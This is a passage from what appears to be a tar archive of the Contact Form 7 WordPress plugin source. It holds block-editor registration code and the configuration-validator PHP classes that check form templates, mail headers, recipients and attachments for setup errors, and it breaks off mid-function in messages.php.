element.","contact-form-7")}),(0,r.jsx)(c.TextControl,{label:(0,e.__)("Title","contact-form-7"),value:t.htmlTitle,onChange:t=>l({htmlTitle:t}),help:(0,e.__)("Used for the aria-label attribute value of the form element.","contact-form-7")}),(0,r.jsx)(c.TextControl,{label:(0,e.__)("Class","contact-form-7"),value:t.htmlClass,onChange:t=>l({htmlClass:t}),help:(0,e.__)("Used for the class attribute value of the form element.","contact-form-7")})]})]}),(0,r.jsx)("div",{...(0,a.useBlockProps)({className:"components-placeholder",style:{marginTop:"28px",marginBottom:"28px"}}),children:(0,r.jsx)(c.ComboboxControl,{label:(0,e.__)("Select a contact form:","contact-form-7"),options:(t=>{const e=[];for(const[l,a]of t)e.push({value:l,label:a.title});return e})(n),value:t.id,onChange:t=>l({id:parseInt(t),hash:n.get(parseInt(t))?.hash,title:n.get(parseInt(t))?.title}),onFilterValueChange:t=>{h({search:t}).then((t=>{i(o(t))}))}})})]})},save:({attributes:t})=>{const e=d(t);return(0,r.jsx)("div",{...a.useBlockProps.save(),children:e})}})})();contact-form-7/includes/block-editor/index.asset.php000064400000000334147510273060016433 0ustar00<?php

return array(
	'dependencies' => array(
		'react-jsx-runtime',
		'wp-api-fetch',
		'wp-block-editor',
		'wp-blocks',
		'wp-components',
		'wp-element',
		'wp-i18n',
		'wp-url',
	),
	'version' => WPCF7_VERSION,
);
contact-form-7/includes/block-editor/block-editor.php000064400000000301147510273060016556 0ustar00<?php

add_action(
	'init',
	'wpcf7_init_block_editor_assets',
	10, 0
);

function wpcf7_init_block_editor_assets() {
	register_block_type(
		wpcf7_plugin_path( 'includes/block-editor' )
	);
}
contact-form-7/includes/config-validator/form.php000064400000016456147510273060016037 0ustar00<?php

trait WPCF7_ConfigValidator_Form {

	/**
	 * Runs error detection for the form section.
	 */
	public function validate_form() {
		$section = 'form.body';
		$form = $this->contact_form->prop( 'form' );

		if ( $this->supports( 'multiple_controls_in_label' ) ) {
			if ( $this->detect_multiple_controls_in_label( $section, $form ) ) {
				$this->add_error( $section, 'multiple_controls_in_label',
					array(
						'message' => __( "Multiple form controls are in a single label element.", 'contact-form-7' ),
					)
				);
			} else {
				$this->remove_error( $section, 'multiple_controls_in_label' );
			}
		}

		if ( $this->supports( 'unavailable_names' ) ) {
			$ng_names = $this->detect_unavailable_names( $section, $form );

			if ( $ng_names ) {
				$this->add_error( $section, 'unavailable_names',
					array(
						'message' =>
							/* translators: %names%: a list of form control names */
							__( "Unavailable names (%names%) are used for form controls.", 'contact-form-7' ),
						'params' => array( 'names' => implode( ', ', $ng_names ) ),
					)
				);
			} else {
				$this->remove_error( $section, 'unavailable_names' );
			}
		}

		if ( $this->supports( 'unavailable_html_elements' ) ) {
			if ( $this->detect_unavailable_html_elements( $section, $form ) ) {
				$this->add_error( $section, 'unavailable_html_elements',
					array(
						'message' => __( "Unavailable HTML elements are used in the form template.", 'contact-form-7' ),
					)
				);
			} else {
				$this->remove_error( $section, 'unavailable_html_elements' );
			}
		}

		if ( $this->supports( 'dots_in_names' ) ) {
			if ( $this->detect_dots_in_names( $section, $form ) ) {
				$this->add_error( $section, 'dots_in_names',
					array(
						'message' => __( "Dots are used in form-tag names.", 'contact-form-7' ),
					)
				);
			} else {
				$this->remove_error( $section, 'dots_in_names' );
			}
		}

		if ( $this->supports( 'colons_in_names' ) ) {
			if ( $this->detect_colons_in_names( $section, $form ) ) {
				$this->add_error( $section, 'colons_in_names',
					array(
						'message' => __( "Colons are used in form-tag names.", 'contact-form-7' ),
					)
				);
			} else {
				$this->remove_error( $section, 'colons_in_names' );
			}
		}

		if ( $this->supports( 'upload_filesize_overlimit' ) ) {
			if ( $this->detect_upload_filesize_overlimit( $section, $form ) ) {
				$this->add_error( $section, 'upload_filesize_overlimit',
					array(
						'message' => __( "Uploadable file size exceeds PHP’s maximum acceptable size.", 'contact-form-7' ),
					)
				);
			} else {
				$this->remove_error( $section, 'upload_filesize_overlimit' );
			}
		}
	}


	/**
	 * Detects errors of multiple form controls in a single label.
	 *
	 * @link https://contactform7.com/configuration-errors/multiple-controls-in-label/
	 */
	public function detect_multiple_controls_in_label( $section, $content ) {
		$pattern = '%<label(?:[ \t\n]+.*?)?>(.+?)</label>%s';

		if ( preg_match_all( $pattern, $content, $matches ) ) {
			$form_tags_manager = WPCF7_FormTagsManager::get_instance();

			foreach ( $matches[1] as $insidelabel ) {
				$tags = $form_tags_manager->scan( $insidelabel );
				$fields_count = 0;

				foreach ( $tags as $tag ) {
					$is_multiple_controls_container = wpcf7_form_tag_supports(
						$tag->type, 'multiple-controls-container'
					);

					$is_zero_controls_container = wpcf7_form_tag_supports(
						$tag->type, 'zero-controls-container'
					);

					if ( $is_multiple_controls_container ) {
						$fields_count += count( $tag->values );

						if ( $tag->has_option( 'free_text' ) ) {
							$fields_count += 1;
						}
					} elseif ( $is_zero_controls_container ) {
						$fields_count += 0;
					} elseif ( ! empty( $tag->name ) ) {
						$fields_count += 1;
					}

					if ( 1 < $fields_count ) {
						return true;
					}
				}
			}
		}

		return false;
	}


	/**
	 * Detects errors of unavailable form-tag names.
	 *
	 * @link https://contactform7.com/configuration-errors/unavailable-names/
	 */
	public function detect_unavailable_names( $section, $content ) {
		$public_query_vars = array( 'm', 'p', 'posts', 'w', 'cat',
			'withcomments', 'withoutcomments', 's', 'search', 'exact', 'sentence',
			'calendar', 'page', 'paged', 'more', 'tb', 'pb', 'author', 'order',
			'orderby', 'year', 'monthnum', 'day', 'hour', 'minute', 'second',
			'name', 'category_name', 'tag', 'feed', 'author_name', 'static',
			'pagename', 'page_id', 'error', 'attachment', 'attachment_id',
			'subpost', 'subpost_id', 'preview', 'robots', 'taxonomy', 'term',
			'cpage', 'post_type', 'embed',
		);

		$form_tags_manager = WPCF7_FormTagsManager::get_instance();

		$ng_named_tags = $form_tags_manager->filter( $content, array(
			'name' => $public_query_vars,
		) );

		$ng_names = array();

		foreach ( $ng_named_tags as $tag ) {
			$ng_names[] = sprintf( '"%s"', $tag->name );
		}

		if ( $ng_names ) {
			return array_unique( $ng_names );
		}

		return false;
	}


	/**
	 * Detects errors of unavailable HTML elements.
	 *
	 * @link https://contactform7.com/configuration-errors/unavailable-html-elements/
	 */
	public function detect_unavailable_html_elements( $section, $content ) {
		$pattern = '%(?:<form[\s\t>]|</form>)%i';

		if ( preg_match( $pattern, $content ) ) {
			return true;
		}

		return false;
	}


	/**
	 * Detects errors of dots in form-tag names.
	 *
	 * @link https://contactform7.com/configuration-errors/dots-in-names/
	 */
	public function detect_dots_in_names( $section, $content ) {
		$form_tags_manager = WPCF7_FormTagsManager::get_instance();

		$tags = $form_tags_manager->filter( $content, array(
			'feature' => 'name-attr',
		) );

		foreach ( $tags as $tag ) {
			if ( str_contains( $tag->raw_name, '.' ) ) {
				return true;
			}
		}

		return false;
	}


	/**
	 * Detects errors of colons in form-tag names.
	 *
	 * @link https://contactform7.com/configuration-errors/colons-in-names/
	 */
	public function detect_colons_in_names( $section, $content ) {
		$form_tags_manager = WPCF7_FormTagsManager::get_instance();

		$tags = $form_tags_manager->filter( $content, array(
			'feature' => 'name-attr',
		) );

		foreach ( $tags as $tag ) {
			if ( str_contains( $tag->raw_name, ':' ) ) {
				return true;
			}
		}

		return false;
	}


	/**
	 * Detects errors of uploadable file size overlimit.
	 *
	 * @link https://contactform7.com/configuration-errors/upload-filesize-overlimit
	 */
	public function detect_upload_filesize_overlimit( $section, $content ) {
		$upload_max_filesize = ini_get( 'upload_max_filesize' );

		if ( ! $upload_max_filesize ) {
			return false;
		}

		$upload_max_filesize = strtolower( $upload_max_filesize );
		$upload_max_filesize = trim( $upload_max_filesize );

		if ( ! preg_match( '/^(\d+)([kmg]?)$/', $upload_max_filesize, $matches ) ) {
			return false;
		}

		if ( 'k' === $matches[2] ) {
			$upload_max_filesize = (int) $matches[1] * KB_IN_BYTES;
		} elseif ( 'm' === $matches[2] ) {
			$upload_max_filesize = (int) $matches[1] * MB_IN_BYTES;
		} elseif ( 'g' === $matches[2] ) {
			$upload_max_filesize = (int) $matches[1] * GB_IN_BYTES;
		} else {
			$upload_max_filesize = (int) $matches[1];
		}

		$form_tags_manager = WPCF7_FormTagsManager::get_instance();

		$tags = $form_tags_manager->filter( $content, array(
			'basetype' => 'file',
		) );

		foreach ( $tags as $tag ) {
			if ( $upload_max_filesize < $tag->get_limit_option() ) {
				return true;
			}
		}

		return false;
	}

}
contact-form-7/includes/config-validator/validator.php000064400000020137147510273060017050 0ustar00<?php

require_once path_join( __DIR__, 'form.php' );
require_once path_join( __DIR__, 'mail.php' );
require_once path_join( __DIR__, 'messages.php' );
require_once path_join( __DIR__, 'additional-settings.php' );
require_once path_join( __DIR__, 'actions.php' );


/**
 * Configuration validator.
 *
 * @link https://contactform7.com/configuration-errors/
 */
class WPCF7_ConfigValidator {

	/**
	 * The plugin version in which important updates happened last time.
	 */
	const last_important_update = '5.8.1';

	const error_codes = array(
		'maybe_empty',
		'invalid_mailbox_syntax',
		'email_not_in_site_domain',
		'html_in_message',
		'multiple_controls_in_label',
		'file_not_found',
		'unavailable_names',
		'invalid_mail_header',
		'deprecated_settings',
		'file_not_in_content_dir',
		'unavailable_html_elements',
		'attachments_overweight',
		'dots_in_names',
		'colons_in_names',
		'upload_filesize_overlimit',
		'unsafe_email_without_protection',
	);

	use WPCF7_ConfigValidator_Form;
	use WPCF7_ConfigValidator_Mail;
	use WPCF7_ConfigValidator_Messages;
	use WPCF7_ConfigValidator_AdditionalSettings;

	private $contact_form;
	private $errors = array();
	private $include;
	private $exclude;


	/**
	 * Returns a URL linking to the documentation page for the error type.
	 */
	public static function get_doc_link( $child_page = '' ) {
		$url = __( 'https://contactform7.com/configuration-errors/',
			'contact-form-7'
		);

		if ( '' !== $child_page ) {
			$child_page = strtr( $child_page, '_', '-' );

			$url = sprintf( '%s/%s', untrailingslashit( $url ), $child_page );
		}

		return esc_url( $url );
	}


	/**
	 * Constructor.
	 */
	public function __construct( WPCF7_ContactForm $contact_form, $options = '' ) {
		$options = wp_parse_args( $options, array(
			'include' => null,
			'exclude' => null,
		) );

		$this->contact_form = $contact_form;

		if ( isset( $options['include'] ) ) {
			$this->include = (array) $options['include'];
		}

		if ( isset( $options['exclude'] ) ) {
			$this->exclude = (array) $options['exclude'];
		}
	}


	/**
	 * Returns the contact form object that is tied to this validator.
	 */
	public function contact_form() {
		return $this->contact_form;
	}


	/**
	 * Returns true if no error has been detected.
	 */
	public function is_valid() {
		return ! $this->count_errors();
	}


	/**
	 * Returns true if the given error code is supported by this instance.
	 */
	public function supports( $error_code ) {
		if ( isset( $this->include ) ) {
			$supported_codes = array_intersect( self::error_codes, $this->include );
		} else {
			$supported_codes = self::error_codes;
		}

		if ( isset( $this->exclude ) ) {
			$supported_codes = array_diff( $supported_codes, $this->exclude );
		}

		return in_array( $error_code, $supported_codes, true );
	}


	/**
	 * Counts detected errors.
	 */
	public function count_errors( $options = '' ) {
		$options = wp_parse_args( $options, array(
			'section' => '',
			'code' => '',
		) );

		$count = 0;

		foreach ( $this->errors as $key => $errors ) {
			if ( preg_match( '/^mail_[0-9]+\.(.*)$/', $key, $matches ) ) {
				$key = sprintf( 'mail.%s', $matches[1] );
			}

			if ( $options['section']
			and $key !== $options['section']
			and preg_replace( '/\..*$/', '', $key, 1 ) !== $options['section'] ) {
				continue;
			}

			foreach ( $errors as $error ) {
				if ( empty( $error ) ) {
					continue;
				}

				if ( $options['code'] and $error['code'] !== $options['code'] ) {
					continue;
				}

				$count += 1;
			}
		}

		return $count;
	}


	/**
	 * Collects messages for detected errors.
	 */
	public function collect_error_messages() {
		$error_messages = array();

		foreach ( $this->errors as $section => $errors ) {
			$error_messages[$section] = array();

			foreach ( $errors as $error ) {
				if ( empty( $error['args']['message'] ) ) {
					$message = $this->get_default_message( $error['code'] );
				} elseif ( empty( $error['args']['params'] ) ) {
					$message = $error['args']['message'];
				} else {
					$message = $this->build_message(
						$error['args']['message'],
						$error['args']['params']
					);
				}

				$link = '';

				if ( ! empty( $error['args']['link'] ) ) {
					$link = $error['args']['link'];
				}

				$error_messages[$section][] = array(
					'message' => $message,
					'link' => esc_url( $link ),
				);
			}
		}

		return $error_messages;
	}


	/**
	 * Builds an error message by replacing placeholders.
	 */
	public function build_message( $message, $params = '' ) {
		$params = wp_parse_args( $params, array() );

		foreach ( $params as $key => $val ) {
			if ( ! preg_match( '/^[0-9A-Za-z_]+$/', $key ) ) { // invalid key
				continue;
			}

			$placeholder = '%' . $key . '%';

			if ( false !== stripos( $message, $placeholder ) ) {
				$message = str_ireplace( $placeholder, $val, $message );
			}
		}

		return $message;
	}


	/**
	 * Returns a default message that is used when the message for the error
	 * is not specified.
	 */
	public function get_default_message( $code = '' ) {
		return __( "Configuration error is detected.", 'contact-form-7' );
	}


	/**
	 * Returns true if the specified section has the specified error.
	 *
	 * @param string $section The section where the error detected.
	 * @param string $code The unique code of the error.
	 */
	public function has_error( $section, $code ) {
		if ( empty( $this->errors[$section] ) ) {
			return false;
		}

		foreach ( (array) $this->errors[$section] as $error ) {
			if ( isset( $error['code'] ) and $error['code'] === $code ) {
				return true;
			}
		}

		return false;
	}


	/**
	 * Adds a validation error.
	 *
	 * @param string $section The section where the error detected.
	 * @param string $code The unique code of the error.
	 * @param string|array $args Optional options for the error.
	 */
	public function add_error( $section, $code, $args = '' ) {
		$args = wp_parse_args( $args, array(
			'message' => '',
			'params' => array(),
		) );

		$available_error_codes = (array) apply_filters(
			'wpcf7_config_validator_available_error_codes',
			self::error_codes,
			$this->contact_form
		);

		if ( ! in_array( $code, $available_error_codes, true ) ) {
			return false;
		}

		if ( ! isset( $args['link'] ) ) {
			$args['link'] = self::get_doc_link( $code );
		}

		if ( ! isset( $this->errors[$section] ) ) {
			$this->errors[$section] = array();
		}

		$this->errors[$section][] = array(
			'code' => $code,
			'args' => $args,
		);

		return true;
	}


	/**
	 * Removes an error.
	 *
	 * @param string $section The section where the error detected.
	 * @param string $code The unique code of the error.
	 */
	public function remove_error( $section, $code ) {
		if ( empty( $this->errors[$section] ) ) {
			return;
		}

		foreach ( (array) $this->errors[$section] as $key => $error ) {
			if ( isset( $error['code'] ) and $error['code'] === $code ) {
				unset( $this->errors[$section][$key] );
			}
		}

		if ( empty( $this->errors[$section] ) ) {
			unset( $this->errors[$section] );
		}
	}


	/**
	 * The main validation runner.
	 *
	 * @return bool True if there is no error detected.
	 */
	public function validate() {
		$this->validate_form();
		$this->validate_mail( 'mail' );
		$this->validate_mail( 'mail_2' );
		$this->validate_messages();
		$this->validate_additional_settings();

		do_action( 'wpcf7_config_validator_validate', $this );

		return $this->is_valid();
	}


	/**
	 * Saves detected errors as a post meta data.
	 */
	public function save() {
		if ( $this->contact_form->initial() ) {
			return;
		}

		delete_post_meta( $this->contact_form->id(), '_config_validation' );

		if ( $this->errors ) {
			update_post_meta(
				$this->contact_form->id(), '_config_validation', $this->errors
			);
		}
	}


	/**
	 * Restore errors from the database.
	 */
	public function restore() {
		$config_errors = get_post_meta(
			$this->contact_form->id(), '_config_validation', true
		);

		foreach ( (array) $config_errors as $section => $errors ) {
			if ( empty( $errors ) ) {
				continue;
			}

			foreach ( (array) $errors as $error ) {
				if ( ! empty( $error['code'] ) ) {
					$code = $error['code'];
					$args = isset( $error['args'] ) ? $error['args'] : '';
					$this->add_error( $section, $code, $args );
				}
			}
		}
	}

}
contact-form-7/includes/config-validator/additional-settings.php000064400000001306147510273060021026 0ustar00<?php

trait WPCF7_ConfigValidator_AdditionalSettings {

	/**
	 * Runs error detection for the additional settings section.
	 */
	public function validate_additional_settings() {
		$section = 'additional_settings.body';

		if ( $this->supports( 'deprecated_settings' ) ) {
			$deprecated_settings_used =
				$this->contact_form->additional_setting( 'on_sent_ok' ) ||
				$this->contact_form->additional_setting( 'on_submit' );

			if ( $deprecated_settings_used ) {
				$this->add_error( $section, 'deprecated_settings',
					array(
						'message' => __( "Deprecated settings are used.", 'contact-form-7' ),
					)
				);
			} else {
				$this->remove_error( $section, 'deprecated_settings' );
			}
		}
	}

}
contact-form-7/includes/config-validator/mail.php000064400000034377147510273060016020 0ustar00<?php

trait WPCF7_ConfigValidator_Mail {

	/**
	 * Replaces all mail-tags in the given content.
	 */
	public function replace_mail_tags( $content, $options = '' ) {
		$options = wp_parse_args( $options, array(
			'html' => false,
			'callback' =>
				array( $this, 'replace_mail_tags_with_minimum_input_callback' ),
		) );

		$content = new WPCF7_MailTaggedText( $content, $options );

		return $content->replace_tags();
	}


	/**
	 * Callback function for WPCF7_MailTaggedText. Replaces mail-tags with
	 * the most conservative inputs.
	 */
	public function replace_mail_tags_with_minimum_input_callback( $matches ) {
		// allow [[foo]] syntax for escaping a tag
		if ( $matches[1] === '[' and $matches[4] === ']' ) {
			return substr( $matches[0], 1, -1 );
		}

		$tag = $matches[0];
		$tagname = $matches[2];
		$values = $matches[3];

		$mail_tag = new WPCF7_MailTag( $tag, $tagname, $values );
		$field_name = $mail_tag->field_name();

		$example_email = 'example@example.com';
		$example_text = 'example';
		$example_blank = '';

		// for back-compat
		$field_name = preg_replace( '/^wpcf7\./', '_', $field_name );

		if ( '_site_admin_email' === $field_name ) {
			return get_bloginfo( 'admin_email', 'raw' );

		} elseif ( '_user_agent' === $field_name ) {
			return $example_text;

		} elseif ( '_user_email' === $field_name ) {
			return $this->contact_form->is_true( 'subscribers_only' )
				? $example_email
				: $example_blank;

		} elseif ( str_starts_with( $field_name, '_user_' ) ) {
			return $this->contact_form->is_true( 'subscribers_only' )
				? $example_text
				: $example_blank;

		} elseif ( str_starts_with( $field_name, '_' ) ) {
			return str_ends_with( $field_name, '_email' )
				? $example_email
				: $example_text;

		}

		static $opcalcset = array();

		if ( ! isset( $opcalcset[$this->contact_form->id()] ) ) {
			$opcalcset[$this->contact_form->id()] =
				new WPCF7_MailTag_OutputCalculator( $this->contact_form );
		}

		$opcalc = $opcalcset[$this->contact_form->id()];
		$op = $opcalc->calc_output( $mail_tag );

		if ( WPCF7_MailTag_OutputCalculator::email === $op ) {
			return $example_email;
		} elseif ( ! ( WPCF7_MailTag_OutputCalculator::blank & $op ) ) {
			return $example_text;
		} else {
			return $example_blank;
		}
	}


	/**
	 * Runs error detection for the mail sections.
	 */
	public function validate_mail( $template = 'mail' ) {
		if (
			$this->contact_form->is_true( 'demo_mode' ) or
			$this->contact_form->is_true( 'skip_mail' )
		) {
			return;
		}

		$components = (array) $this->contact_form->prop( $template );

		if ( ! $components ) {
			return;
		}

		if ( 'mail' !== $template and empty( $components['active'] ) ) {
			return;
		}

		$components = wp_parse_args( $components, array(
			'subject' => '',
			'sender' => '',
			'recipient' => '',
			'additional_headers' => '',
			'body' => '',
			'attachments' => '',
		) );

		$this->validate_mail_subject(
			$template,
			$components['subject']
		);

		$this->validate_mail_sender(
			$template,
			$components['sender']
		);

		$this->validate_mail_recipient(
			$template,
			$components['recipient']
		);

		$this->validate_mail_additional_headers(
			$template,
			$components['additional_headers']
		);

		$this->validate_mail_body(
			$template,
			$components['body']
		);

		$this->validate_mail_attachments(
			$template,
			$components['attachments']
		);
	}


	/**
	 * Runs error detection for the mail subject section.
	 */
	public function validate_mail_subject( $template, $content ) {
		$section = sprintf( '%s.subject', $template );

		if ( $this->supports( 'maybe_empty' ) ) {
			if ( $this->detect_maybe_empty( $section, $content ) ) {
				$this->add_error( $section, 'maybe_empty',
					array(
						'message' => __( "There is a possible empty field.", 'contact-form-7' ),
					)
				);
			} else {
				$this->remove_error( $section, 'maybe_empty' );
			}
		}
	}


	/**
	 * Runs error detection for the mail sender section.
	 */
	public function validate_mail_sender( $template, $content ) {
		$section = sprintf( '%s.sender', $template );

		if ( $this->supports( 'invalid_mailbox_syntax' ) ) {
			if ( $this->detect_invalid_mailbox_syntax( $section, $content ) ) {
				$this->add_error( $section, 'invalid_mailbox_syntax',
					array(
						'message' => __( "Invalid mailbox syntax is used.", 'contact-form-7' ),
					)
				);
			} else {
				$this->remove_error( $section, 'invalid_mailbox_syntax' );
			}
		}

		if ( $this->supports( 'email_not_in_site_domain' ) ) {
			$this->remove_error( $section, 'email_not_in_site_domain' );

			if ( ! $this->has_error( $section, 'invalid_mailbox_syntax' ) ) {
				$sender = $this->replace_mail_tags( $content );
				$sender = wpcf7_strip_newline( $sender );

				if ( ! wpcf7_is_email_in_site_domain( $sender ) ) {
					$this->add_error( $section, 'email_not_in_site_domain',
						array(
							'message' => __( "Sender email address does not belong to the site domain.", 'contact-form-7' ),
						)
					);
				}
			}
		}
	}


	/**
	 * Runs error detection for the mail recipient section.
	 */
	public function validate_mail_recipient( $template, $content ) {
		$section = sprintf( '%s.recipient', $template );

		if ( $this->supports( 'invalid_mailbox_syntax' ) ) {
			if ( $this->detect_invalid_mailbox_syntax( $section, $content ) ) {
				$this->add_error( $section, 'invalid_mailbox_syntax',
					array(
						'message' => __( "Invalid mailbox syntax is used.", 'contact-form-7' ),
					)
				);
			} else {
				$this->remove_error( $section, 'invalid_mailbox_syntax' );
			}
		}

		if ( $this->supports( 'unsafe_email_without_protection' ) ) {
			$this->remove_error( $section, 'unsafe_email_without_protection' );

			if ( ! $this->has_error( $section, 'invalid_mailbox_syntax' ) ) {
				if (
					$this->detect_unsafe_email_without_protection( $section, $content )
				) {
					$this->add_error( $section, 'unsafe_email_without_protection',
						array(
							'message' => __( "Unsafe email config is used without sufficient protection.", 'contact-form-7' ),
						)
					);
				}
			}
		}
	}


	/**
	 * Runs error detection for the mail additional headers section.
	 */
	public function validate_mail_additional_headers( $template, $content ) {
		$section = sprintf( '%s.additional_headers', $template );

		$invalid_mail_headers = array();
		$invalid_mailbox_fields = array();
		$unsafe_email_fields = array();

		foreach ( explode( "\n", $content ) as $header ) {
			$header = trim( $header );

			if ( '' === $header ) {
				continue;
			}

			$is_valid_header = preg_match(
				'/^([0-9A-Za-z-]+):(.*)$/',
				$header,
				$matches
			);

			if ( ! $is_valid_header ) {
				$invalid_mail_headers[] = $header;
				continue;
			}

			$header_name = $matches[1];
			$header_value = trim( $matches[2] );

			if (
				in_array(
					strtolower( $header_name ), array( 'reply-to', 'cc', 'bcc' )
				) and
				'' !== $header_value and
				$this->detect_invalid_mailbox_syntax( $section, $header_value )
			) {
				$invalid_mailbox_fields[] = $header_name;
				continue;
			}

			if (
				in_array( strtolower( $header_name ), array( 'cc', 'bcc' ) ) and
				$this->detect_unsafe_email_without_protection( $section, $header_value )
			) {
				$unsafe_email_fields[] = $header_name;
			}
		}

		if ( $this->supports( 'invalid_mail_header' ) ) {
			if ( ! empty( $invalid_mail_headers ) ) {
				$this->add_error( $section, 'invalid_mail_header',
					array(
						'message' => __( "There are invalid mail header fields.", 'contact-form-7' ),
					)
				);
			} else {
				$this->remove_error( $section, 'invalid_mail_header' );
			}
		}

		if ( $this->supports( 'invalid_mailbox_syntax' ) ) {
			if ( ! empty( $invalid_mailbox_fields ) ) {
				foreach ( $invalid_mailbox_fields as $header_name ) {
					$this->add_error( $section, 'invalid_mailbox_syntax',
						array(
							'message' => __( "Invalid mailbox syntax is used in the %name% field.", 'contact-form-7' ),
							'params' => array( 'name' => $header_name ),
						)
					);
				}
			} else {
				$this->remove_error( $section, 'invalid_mailbox_syntax' );
			}
		}

		if ( $this->supports( 'unsafe_email_without_protection' ) ) {
			if ( ! empty( $unsafe_email_fields ) ) {
				$this->add_error( $section, 'unsafe_email_without_protection',
					array(
						'message' => __( "Unsafe email config is used without sufficient protection.", 'contact-form-7' ),
					)
				);
			} else {
				$this->remove_error( $section, 'unsafe_email_without_protection' );
			}
		}
	}


	/**
	 * Runs error detection for the mail body section.
	 */
	public function validate_mail_body( $template, $content ) {
		$section = sprintf( '%s.body', $template );

		if ( $this->supports( 'maybe_empty' ) ) {
			if ( $this->detect_maybe_empty( $section, $content ) ) {
				$this->add_error( $section, 'maybe_empty',
					array(
						'message' => __( "There is a possible empty field.", 'contact-form-7' ),
					)
				);
			} else {
				$this->remove_error( $section, 'maybe_empty' );
			}
		}
	}


	/**
	 * Runs error detection for the mail attachments section.
	 */
	public function validate_mail_attachments( $template, $content ) {
		$section = sprintf( '%s.attachments', $template );

		$total_size = 0;
		$files_not_found = array();
		$files_out_of_content = array();

		if ( '' !== $content ) {
			$attachables = array();

			$tags = $this->contact_form->scan_form_tags(
				array( 'type' => array( 'file', 'file*' ) )
			);

			foreach ( $tags as $tag ) {
				$name = $tag->name;

				if ( ! str_contains( $content, "[{$name}]" ) ) {
					continue;
				}

				$limit = (int) $tag->get_limit_option();

				if ( empty( $attachables[$name] ) or $attachables[$name] < $limit ) {
					$attachables[$name] = $limit;
				}
			}

			$total_size = array_sum( $attachables );

			foreach ( explode( "\n", $content ) as $line ) {
				$line = trim( $line );

				if ( '' === $line or str_starts_with( $line, '[' ) ) {
					continue;
				}

				if ( $this->detect_file_not_found( $section, $line ) ) {
					$files_not_found[] = $line;
				} elseif ( $this->detect_file_not_in_content_dir( $section, $line ) ) {
					$files_out_of_content[] = $line;
				} else {
					$total_size += (int) @filesize( $path );
				}
			}
		}

		if ( $this->supports( 'file_not_found' ) ) {
			if ( ! empty( $files_not_found ) ) {
				foreach ( $files_not_found as $line ) {
					$this->add_error( $section, 'file_not_found',
						array(
							'message' => __( "Attachment file does not exist at %path%.", 'contact-form-7' ),
							'params' => array( 'path' => $line ),
						)
					);
				}
			} else {
				$this->remove_error( $section, 'file_not_found' );
			}
		}

		if ( $this->supports( 'file_not_in_content_dir' ) ) {
			if ( ! empty( $files_out_of_content ) ) {
				$this->add_error( $section, 'file_not_in_content_dir',
					array(
						'message' => __( "It is not allowed to use files outside the wp-content directory.", 'contact-form-7' ),
					)
				);
			} else {
				$this->remove_error( $section, 'file_not_in_content_dir' );
			}
		}

		if ( $this->supports( 'attachments_overweight' ) ) {
			$max = 25 * MB_IN_BYTES; // 25 MB

			if ( $max < $total_size ) {
				$this->add_error( $section, 'attachments_overweight',
					array(
						'message' => __( "The total size of attachment files is too large.", 'contact-form-7' ),
					)
				);
			} else {
				$this->remove_error( $section, 'attachments_overweight' );
			}
		}
	}


	/**
	 * Detects errors of invalid mailbox syntax.
	 *
	 * @link https://contactform7.com/configuration-errors/invalid-mailbox-syntax/
	 */
	public function detect_invalid_mailbox_syntax( $section, $content ) {
		$content = $this->replace_mail_tags( $content );
		$content = wpcf7_strip_newline( $content );

		if ( ! wpcf7_is_mailbox_list( $content ) ) {
			return true;
		}

		return false;
	}


	/**
	 * Detects errors of empty message fields.
	 *
	 * @link https://contactform7.com/configuration-errors/maybe-empty/
	 */
	public function detect_maybe_empty( $section, $content ) {
		$content = $this->replace_mail_tags( $content );
		$content = wpcf7_strip_newline( $content );

		if ( '' === $content ) {
			return true;
		}

		return false;
	}


	/**
	 * Detects errors of nonexistent attachment files.
	 *
	 * @link https://contactform7.com/configuration-errors/file-not-found/
	 */
	public function detect_file_not_found( $section, $content ) {
		$path = path_join( WP_CONTENT_DIR, $content );

		if ( ! is_readable( $path ) or ! is_file( $path ) ) {
			return true;
		}

		return false;
	}


	/**
	 * Detects errors of attachment files out of the content directory.
	 *
	 * @link https://contactform7.com/configuration-errors/file-not-in-content-dir/
	 */
	public function detect_file_not_in_content_dir( $section, $content ) {
		$path = path_join( WP_CONTENT_DIR, $content );

		if ( ! wpcf7_is_file_path_in_content_dir( $path ) ) {
			return true;
		}

		return false;
	}


	/**
	 * Detects errors of that unsafe email config is used without
	 * sufficient protection.
	 *
	 * @link https://contactform7.com/configuration-errors/unsafe-email-without-protection/
	 */
	public function detect_unsafe_email_without_protection( $section, $content ) {
		static $is_recaptcha_active = null;

		if ( null === $is_recaptcha_active ) {
			$is_recaptcha_active = call_user_func( function () {
				$service = WPCF7_RECAPTCHA::get_instance();
				return $service->is_active();
			} );
		}

		if ( $is_recaptcha_active ) {
			return false;
		}

		$example_email = 'user-specified@example.com';

		// Replace mail-tags connected to an email type form-tag first.
		$content = $this->replace_mail_tags( $content, array(
			'callback' => function ( $matches ) use ( $example_email ) {
				// allow [[foo]] syntax for escaping a tag
				if ( $matches[1] === '[' and $matches[4] === ']' ) {
					return substr( $matches[0], 1, -1 );
				}

				$tag = $matches[0];
				$tagname = $matches[2];
				$values = $matches[3];

				$mail_tag = new WPCF7_MailTag( $tag, $tagname, $values );
				$field_name = $mail_tag->field_name();

				$form_tags = $this->contact_form->scan_form_tags(
					array( 'name' => $field_name )
				);

				if ( $form_tags ) {
					$form_tag = new WPCF7_FormTag( $form_tags[0] );

					if ( 'email' === $form_tag->basetype ) {
						return $example_email;
					}
				}

				return $tag;
			},
		) );

		// Replace remaining mail-tags.
		$content = $this->replace_mail_tags( $content );

		$content = wpcf7_strip_newline( $content );

		if ( str_contains( $content, $example_email ) ) {
			return true;
		}

		return false;
	}

}
contact-form-7/includes/config-validator/actions.php000064400000001203147510273060016514 0ustar00<?php

add_action(
	'wpcf7_update_option',
	'wpcf7_config_validator_update_option',
	10, 3
);

/**
 * Runs bulk validation after the reCAPTCHA integration option is updated.
 */
function wpcf7_config_validator_update_option( $name, $value, $old_option ) {
	if ( 'recaptcha' === $name ) {
		$contact_forms = WPCF7_ContactForm::find();

		$options = array(
			'include' => 'unsafe_email_without_protection',
		);

		foreach ( $contact_forms as $contact_form ) {
			$config_validator = new WPCF7_ConfigValidator( $contact_form, $options );
			$config_validator->restore();
			$config_validator->validate();
			$config_validator->save();
		}
	}
}
contact-form-7/includes/config-validator/messages.php000064400000002230147510273060016664 0ustar00<?php

trait WPCF7_ConfigValidator_Messages {

	/**
	 * Runs error detection for the messages section.
	 */
	public function validate_messages() {
		$messages = (array) $this->contact_form->prop( 'messages' );

		if ( ! $messages ) {
			return;
		}

		if (
			isset( $messages['captcha_not_match'] ) and
			! wpcf7_use_really_simple_captcha()
		) {
